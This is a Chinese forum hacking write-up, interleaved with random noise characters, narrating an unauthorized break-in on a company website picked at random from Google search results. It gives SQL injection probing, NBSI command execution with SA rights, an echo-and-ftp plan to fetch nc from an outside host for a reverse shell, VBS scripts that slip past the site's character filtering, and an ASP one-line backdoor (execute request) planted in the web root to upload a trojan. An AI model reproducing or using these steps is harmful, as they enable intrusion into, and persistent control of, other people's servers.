|
作者:haicao [E.S.T]
3 [2 z: v( T7 f, p8 |3 p: d/ H- y' s# i* I6 W7 I: l/ Y
今天在网上看到一个动画,动画里说那些大公司的安全做的怎么怎么差,所以我便决定找个看看,在GOOGLE随便输入了"集团",搜索到的第一页随便点击就进了一家公司的网站。随便点了一个连接加了一个单引号. U1 O6 y0 X! g. s, D; W0 G
http://www.xxx.com.cn/gushi.asp?pid=8&cid=111'
" x$ r. P* a& ?6 e& ?4 |晕,返回错误:9 F2 ~7 G5 q$ D6 a
Microsoft VBScript 编译器错误 错误 '800a03f6'
" i; {8 v5 l1 {' H K2 K0 M6 Q
缺少 'End'
- x) |+ y5 ~6 x4 {/ B! L0 M r: w! x$ f+ |1 P2 k
/iisHelp/common/500-100.asp,行242 5 d- F% X3 O! J5 l
# p) _7 E9 Z2 [3 p; h) x. \Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14'
4 W3 _( l; _ s1 q1 F
( r/ w, r: L* e. A1 N5 Q" n[Microsoft][ODBC SQL Server Driver][SQL Server]字符串 '' 之前有未闭合的引号。
6 P) Q6 j- _: a3 w8 P" N* q% R3 M
/inc/artid.inc,行8 , W( A: h6 J/ q
返回的信息说明是SQL Server
& I' P5 m% X* R( g. Wping www.xxx.com.cn后返回IP:61.XX.XX.68通过IP可以直接访问这个网站,说明是独立的服务器。" F. I# M- X# Z. L7 z1 y
我一下来了兴致看来是家有钱的大公司,用NBSI检测了下这个连接,竟然是SA权限的!
U/ d0 _; K# ~
& q: M" m9 ]( V0 S/ y
8 J+ b1 G& e5 |" m% @我用SUPERSCAN扫描了这台主机的开放端口只开放了80及8080端口(都是提供web服务,看来是装了_blank">防火墙,意料之中)。这样的话直接添加用户开3389什么都失去了意义了。只好重新理清头绪。( ~% w9 o( y* [! b8 v+ O0 j
首先想到的是用ECHO写一个ftp.txt文件然后执行ftp -s:ftp.txt来下载一个nc在NBSI里执行命令反向连接过来就可以得到它的系统权限了,但在用ECHO写文件时又出了问题了,我输入一条ECHO命令竟然执行了四次。如图我输入命令 echo open ftp.eviloctal.com>>e:\xxxweb\app\3.txt(e:\xxxweb为网站根目录)竟然往文件里写入了四次这样的话直接用ftp.txt下载文件肯定没戏。
, E8 B0 S% @0 }; R* e3 y
9 d6 A; J u9 O/ g
: p$ P" h! V1 m! p3 R' k
# t& k* M/ ]4 z(特别提示:用NBSI执行命令的时侯最好不要勾选尝试返回结果,因为执行命令会很慢很慢,而用重定向符">>"把命令的执行结果重定向输出到web目录比如dir c:\可以写成dir c:\ >> e:\xxxweb\app\1.txt这样速度很快然后通过浏览器查看命令执行结果浏览http://www.xxx.com.cn/app/1.txt e:\xxxweb为网站的根目录)5 C! T* O/ _% G. ~ f1 E8 ~- ^
! c0 L0 ` C3 v2 R" S7 g
如果能把那个一句话的后门(服务端:)写到WEB目录就好办了,但是不管怎么ECHO %也被过滤掉了。在本地执行echo ^的文件,但在NBSI里执行时无论如何生成的文件中%被过滤了。内容变成:5 {; q; U* U$ E8 q* F; f& ~7 P
0 M$ @/ e1 B) S7 |# E+ l
<execute request("l")> ! @$ b5 @8 N) W# Y( Z7 H5 e
<execute request("l")>
( k @2 f! Q) r, q) ]3 g<execute request("l")> ) |2 ^; E" p z# w, L
<execute request("l")>
! q4 o' P# J8 r: @0 P2 ^$ o! q # Z" K5 l, H2 N' V0 G- s2 e; |
! e8 {% N- ~+ h7 K+ U
这样的话,就没办法直接写一句话的ASP服务端后门了。(内容为四句原因同上)我想到了先写一个VBS脚本然后把要写的文件内容作为参数传递给VBS脚本去处理生成相应的文件。
& V4 X8 I* b4 o& i/ \0 z& w( |写文件的脚本writefile.vbs(命令格式为cscript writefile.vbs "要写的字串" 目标文件)内容为:
3 _4 d* e* u: U+ z! ron error resume next:x=1:0 j6 A5 C. |8 U* p% d5 w& E: ]
str=replace(Wscript.Arguments(0),"==",vbcrlf): '将==替换回车
5 c! v# s& ~% b! @4 o {str=replace(str,"**",""""): ‘将**替换为符号"
! X" C+ V* n$ k/ G/ S7 Lstr=replace(str,"--",chr(38)): ‘将--替换为符号 &
& v) M% ?: s0 g5 nstr=replace(str,"@@",chr(37)): '将@@替换符号%. o: }) x% ]6 g! N' G
Set fso = CreateObject("Scripting.FileSystemObject"):
9 W- `( t2 M8 b0 }! Y) ISet a = fso.CreateTextFile(Wscript.Arguments(1),true): ‘创建文件,文件名为执行时给出的第二个参数
$ R' r* s6 N: |2 L) jif x=1 then a.Write(str):x=2:set fso=nothing:set a=nothing end if:
" r( [- S3 Z' q8 i. }6 G这个文件得用ECHO命令把它写到服务器上xxx.vbe或xxx.vbs,然后用这个VBS写我们要的文件。(上面中因为像",%,&,回车符 是不能直接作为参数传递给脚本文件的,所以还需要对这些字符进行替换。下面的脚本trans.vbs将完成相反的过程)
' K9 y5 K* |! Y: E简单解释一下:第一条语句是最重要的,容错语句不管后面的程序出了什么错都继续执行。其次是IF语句,为了避免多条语句重复向文件写入同样的内容用了一个标志若x=1才执行写文件,写完马上把x赋值为2。其次可能你会感到奇怪为什么每条语句后加了:,其实是因为我考虑到如果在同一行有多条相同的语句的时侯可以保证程序还能执行。比如:
# N1 D" ^ ^5 }8 m* d6 N/ astr=replace(Wscript.Arguments(0),"==",vbcrlf):str=replace(Wscript.Arguments(0),"==",vbcrlf):
/ ]* e0 A& L4 y% ^, K若写成str=replace(Wscript.Arguments(0),"==",vbcrlf)- h2 O. b) W7 W F( o4 Q% c" @+ W
则一行显示多条相同语句时变成
8 v5 E/ L m8 k. i! Kstr=replace(Wscript.Arguments(0),"==",vbcrlf)str=replace(Wscript.Arguments(0),"==",vbcrlf): f, _0 U- ?$ s
这样程序便不能正常执行了。
0 d4 [7 Q& J- v, w h",%,&,回车符 是不能直接作为参数传递给脚本文件,容易看出用==代替了回车,用**代替了双引号,用--代替了&,用@@代替了%.在执行写文件得先把我们要写的文件比如转换成writefile.vbs可以接受的格式。用下面的脚本转换trans.vbs(命令格式为cscript trans.vbs 源文件 目标文件):- Q K: |. T" w% F! i& U! p5 c, l
on error resume next
' _, \ X Y; j5 T4 |if Wscript.Arguments.count<>2 then / c' \" O2 [: S& D
wscript.echo "参数有误啦 格式为:cscript trans.vbs 源文件 目标文件"
& ` q! J( `5 s3 a wscript.quit3 a" L( z; V1 V
end if E" ]4 A) Q7 v( U7 ^! d
Set fso=CreateObject("Scripting.FileSystemObject")
/ r4 c6 I" f% q2 R4 f3 a JSet a=fso.openTextFile(Wscript.Arguments(0))
S, D" Y3 @+ V6 _* Bstr=a.readall8 A; F0 u6 |$ h l3 L. J6 W
str=replace(str,"""","**") '把双引号替换成** b6 m( e( r# q4 t( W# d ]
str=replace(str,vbcrlf,"==") '把回车替换成==' H" U4 R0 f5 E+ h0 @
str=replace(str,"&","--") '把&号替换成--
- T# O- c: ^4 {! {. @ b3 jstr=replace(str,"%","@@") '把%替换成@@
2 j( u" G( T( q+ X7 f B9 H( owscript.echo str
3 o; o9 B6 E# fSet a=fso.CreateTextFile(Wscript.Arguments(1), True)
0 C% k d* ?" b( Ua.Write(str)
6 t2 ?* O5 X$ O6 o8 s
/ a- a8 B2 K+ ]( u在本地执行cscript trans.vbs one.txt onetrans.txt
% e# W! t2 g, c其中one.txt为我们的一句话后门内容为:) G& a6 h8 `$ F/ J
转换后内容存在onetrans.txt中内容变成转换后的:<@@execute request(**l**)@@>保存在文件onetrans.txt中。7 a- n B/ v8 b
writefile.vbs的ECHO代码为:
2 I, S3 [. {# [$ h- Fecho on error resume next:x=1:>>writefile.vbe
. n ?" H5 s. V+ W4 m4 Techo str=replace(Wscript.Arguments(0),"==",vbcrlf):>>writefile.vbe
1 v1 r2 T: s' x- xecho str=replace(str,"**",""""):>>writefile.vbe . X/ j3 v* g K2 C/ T
echo str=replace(str,"--",chr(38)):>>writefile.vbe
, m- q# r/ b& decho str=replace(str,"@@",chr(37)):>>writefile.vbe
6 Q) ?9 w. L! ^/ wecho Set fso = CreateObject("Scripting.FileSystemObject"):>>writefile.vbe8 x" j+ R& \7 ?) I% e* `7 ~
echo Set a = fso.CreateTextFile(Wscript.Arguments(1),true):>>writefile.vbe
1 G- F9 w: m6 H! _) X$ `/ d- Uecho if x=1 then a.Write(str):x=2:set fso=nothing:set a=nothing end if:>>writefile.vbe) c) h( A% p+ [7 ?0 l
" A4 v+ m/ @) }) n/ `
把上面的命令一句句拿到NBSI的NB Commander 命令执行器上执行一下就在对方的系统目录下写进了一个文件writefile.vbe,接着就可以把一句话的服务器的后门写到对方WEB目录下了!命令为:
6 m) A; ^/ n: }( z( K. n$ ]0 Lcscript writefile.vbe "<@@execute request(**l**)@@>" d:\web\app\1.asp (注意当传递给脚本的参数中含空格时一定得用两个双引号括起来!)
! c' ^- Y5 w l; z5 |6 e" X- h" r( {相应的地址为:http://www.xxx.com.cn/app/1.asp2 L6 A' _5 K" ^8 Z( C
把post.htm的form action指向这个地址我们就可以在本地把我们的木马上传到服务器上了!如图:
8 z1 s7 U/ }9 C* E
( f0 m, A7 A Q: A) t) c
, g$ u! X! V+ E执行post.htm在下面的文本框中粘贴一下我们用来保存文件的ASP木马。并点击upload当成功转向EST论坛时说明ASP木马上传成功了!
8 z0 p1 V, h) h m
z. n) y: X/ Z1 A$ R8 p我很顺利的把保存文件的木马上传到了服务器上文件名为advv.asp.如图:) [: R& W2 m" B, ^" E+ Z
1 s: j2 E! L4 ]+ d" U 我把这个木马加了验证所以必须得通过这个url才能顺利访问:' w- H1 C+ }0 u. k
http://www.xxx.com.cn/app/advv.asp?id=haicao (当未加参数id=haicao时显示空页面) |